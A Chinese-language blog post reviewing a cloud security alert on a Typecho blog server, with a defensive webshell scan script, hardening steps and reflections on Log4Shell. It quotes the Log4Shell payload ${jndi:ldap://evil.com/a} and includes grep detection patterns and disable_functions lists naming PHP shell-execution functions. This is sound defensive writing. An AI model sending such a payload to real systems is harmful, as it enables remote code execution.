「误报木马」:一次安全告警的复盘与思考

0 | 为什么又写安全

2021 年底那场 Log4j / Log4Shell 崩天动地:一句

java 复制代码
${jndi:ldap://evil.com/a}

把全球 Java 服务搞到连夜加班。从那以后我对 "一行代码就穿云箭" 的安全事件格外敏感。上周京东云突然提示 "PHP 木马·严重" ,而我只在这台 Rocky Linux 9 小主机上跑了一个从零搭建的 Typecho 博客。

怀疑人生爬日志ClamAV/RKHunter误报复盘,过程像 2021 的戏码翻拍一次。把这两件事放一起写,算给后来人一个避坑手册,也给自己一个安慰:安全没终点,只有不断修正坐标。


1 | Log4Shell:安全「黑天鹅」教会了我什么

时间线 关键点 现实映射
2021‑11‑24 Alibaba Cloud 报告 Apache 基金会 0‑day 已被野外利用 很多公司"代码升级难 + 测试跑不完"
2021‑12‑10 PoC & 漏洞细节公开 JNDI + 远程代码执行 开源依赖随便引就能炸
2021‑12‑16 官方"3 连补" 2.15.0 → 2.17.1 补丁即破坏------灰度发布策略的重要性
后续 连锁漏洞 CVE‑2021‑45046 等 一旦打补丁晚,纵深防御救命

我学到的三个字: 默认不可信

只要有动态解析+远程输入,就别指望框架开发者能帮你想全安全。


2 | 我的主机告警事件

2.1 告警邮件

提了工单告诉我要单独购买应急响应服务 点进去一看,特喵的要5w,没事我这小服务器,自己学习用,不怕我忍

2.2 现场应急

bash 复制代码
#!/usr/bin/env bash
# rockylinux_webshell_scan.sh
#
# 目的:
#   对报告有 PHP webshell 入侵的 Rocky Linux 9 Web 服务器进行自动化初步检测
#   1. 更新操作系统和杀毒软件签名
#   2. 安装 ClamAV 和 rkhunter 工具
#   3. 扫描 /var/www 目录查找恶意软件和可疑的 PHP 代码
#   4. 收集基本的取证信息(最近修改的 PHP 文件、可疑函数、监听端口、活跃进程)
#
# 使用方法:
#   sudo bash rockylinux_webshell_scan.sh
#
# 输出:
#   所有日志将写入到 /root/security_scan_<时间戳>/ 目录
#
set -e  # 遇到错误立即退出脚本 [风险点1: 可能导致在关键步骤失败时整个脚本终止]

# 创建日志目录,使用当前时间作为目录名的一部分
LOG_DIR="/root/security_scan_$(date +%F_%H%M%S)"
mkdir -p "$LOG_DIR"  # [风险点2: 未检查目录创建是否成功]

echo "[*] 正在更新系统软件包..." | tee -a "$LOG_DIR/scan.log"
dnf -y update >>"$LOG_DIR/dnf_update.log" 2>&1  # [风险点3: 强制更新可能导致服务中断]

echo "[*] 正在安装依赖项 (EPEL, ClamAV, rkhunter)..." | tee -a "$LOG_DIR/scan.log"
dnf -y install epel-release >>"$LOG_DIR/epel.log" 2>&1
dnf -y install clamav clamav-update rkhunter >>"$LOG_DIR/pkg_install.log" 2>&1  # [风险点4: 未检查安装是否成功]

echo "[*] 正在更新 ClamAV 病毒库签名..." | tee -a "$LOG_DIR/scan.log"
freshclam >>"$LOG_DIR/freshclam.log" 2>&1 || true  # [风险点5: 失败也继续,但未记录失败状态]

echo "[*] 正在对 /var/www 目录执行 ClamAV 递归扫描..." | tee -a "$LOG_DIR/scan.log"
clamscan -ri /var/www >>"$LOG_DIR/clamscan_www.log" 2>&1 || true  # [风险点6: 未指定内存限制,可能导致大文件扫描时内存溢出]

echo "[*] 正在更新 rkhunter 数据库并运行扫描 ..." | tee -a "$LOG_DIR/scan.log"
rkhunter --update >>"$LOG_DIR/rkhunter_update.log" 2>&1 || true
rkhunter --propupd -q || true  # [风险点7: 自动更新系统文件属性可能误判为修改]
rkhunter -c --enable all --sk --rwo >>"$LOG_DIR/rkhunter_scan.log" 2>&1 || true

echo "[*] 正在搜索可疑的 PHP 函数 ..." | tee -a "$LOG_DIR/scan.log"
# [风险点8: grep搜索模式不够全面,可能漏检加密或变形的webshell]
grep -R --line-number --color=never -E "(base64_decode|eval\\(|assert\\(|system\\(|shell_exec\\(|passthru\\(|exec\\(|popen\\(|proc_open\\()" /var/www 2>/dev/null >"$LOG_DIR/php_suspicious_functions.txt" || true

echo "[*] 正在列出最近修改的 PHP 文件(过去3天)..." | tee -a "$LOG_DIR/scan.log"
find /var/www -type f -name "*.php" -mtime -3 -print0 | xargs -0 ls -l >"$LOG_DIR/php_recent.txt" || true  # [风险点9: 只检查.php扩展名,可能漏检其他类型文件]

echo "[*] 正在捕获网络监听端口和进程信息 ..." | tee -a "$LOG_DIR/scan.log"
ss -tulpn >"$LOG_DIR/listening_ports.txt"  # 显示所有TCP和UDP监听端口
ps aux --sort=-%cpu | head -n 40 >"$LOG_DIR/top_processes.txt"  # [风险点10: 限制为前40个进程可能漏掉重要但不占CPU的恶意进程]

echo "[*] 扫描完成。取证信息已保存至 $LOG_DIR"  # [风险点11: 没有提供扫描结果摘要]
  1. 快照 + 只读模式

    bash 复制代码
    systemctl stop nginx
    mount -o remount,ro /
  2. ClamAV 全盘扫描

    • 0 感染,但 /proc 大量 pread fail
  3. rkhunter

    • 仅提示 /dev/shm/PostgreSQL.*、RabbitMQ GC 日志,确认非 rootkit。
  4. grep 高危函数

    • 命中两条:eval("$string")(Typecho 官方 i18n)、注释里的 eval()
bash 复制代码
sudo grep -R --line-number -E \ 'eval\(|assert\(|preg_replace.*\/e|create_function|system\(|shell_exec\(|proc_open\(|passthru\(' \ --include='*.php' /var/www 2>/dev/null | head -n 200
  1. 监听端口 & 进程

    • RocketMQ、GitLab、Jenkins、Redis......是我自己装的。

2.3 根因:后台在线编辑器 admin/theme-editor.php

  • 官方文件,含写模板能力------云安全把它当"潜在木马"标红。
  • 因为主题目录属主是 root,PHP 进程无写权,所以真正落地风险低。
  • 道理同 Log4Shell:功能设计本身就是漏洞,只要运维失手一秒即可被利用。

3 | 我做的 8 条修复

优先级 动作 命令/配置
P0 删除在线编辑器 mv theme-editor.php theme-editor.php.bak
P0 上传目录可写,其余只读 chown -R root:root, chown apache:apache usr/uploads
P0 禁 root 密码登录 PermitRootLogin prohibit-password
P1 disable_functions exec,passthru,shell_exec,system,proc_open,popen,assert
P1 开启 open_basedir /var/www/typecho:/tmp
P1 Nginx 白名单解析 `if ($request_filename !~ "^/var/www/typecho/(index
P2 Fail2ban + WAF 拦截非法 POST/上传
P2 自动化扫描基线 clamdscan + rkhunter --propupd + systemd timer

结果:京东云高危告警归零,自己心也稳了。


4 | 思考

  1. 功能 = 权限 × 输入

    能写文件、能 eval 的功能默认高危。上线前问自己一句:

    "它真的必须在线?不能改成离线脚本吗?"

  2. 最小权限即最后护城河

    • Web 进程 + 只读模板 + 只写 uploads。
  3. WAF / Nginx "正向白名单" 比黑名单靠谱

    • 只解析特定目录的 .php
  4. 定时"增量扫描 + 基线比对" > 全盘漫扫

    • rkhunter/AIDE 监控改动,ClamAV 扫增量。
  5. 防守思维迁移:从"补洞"到"收敛攻击面"

    • 与其问"能不能防所有 0‑day",不如先把 可写可执行 面积减半。
相关推荐
程序员NEO5 分钟前
我只说需求,AI 全程托管,代码自己长出来了!
人工智能·后端
白露与泡影13 分钟前
Spring Boot 优雅实现多租户架构!
spring boot·后端·架构
未来之窗软件服务16 分钟前
网站访问信息追踪系统在安全与性能优化中的关键作用——网络安全—仙盟创梦IDE
安全·web安全·性能优化·仙盟创梦ide·东方仙盟
编写美好前程37 分钟前
springboot项目如何写出优雅的service?
java·spring boot·后端
用户299055866871 小时前
Apache-Http-Server CVE-2021-42013
安全
chen1108____1 小时前
Nginx 实用知识大全:从模块作用到高并发承载
运维·nginx
Aurora_NeAr1 小时前
大数据之路:阿里巴巴大数据实践——实时技术与数据服务
大数据·后端
过客随尘1 小时前
Mysql RR事务隔离级别引发的生产Bug,你中招了吗?
后端·mysql
知其然亦知其所以然1 小时前
社招 MySQL 面试官问我:InnoDB 的 4 大特性?我靠这 4 个故事一战封神!
后端·mysql·面试
努力一点9481 小时前
linux系统底层逻辑 开机顺序 ubuntu22.04系统
linux·运维·服务器·ubuntu·ai·gpu算力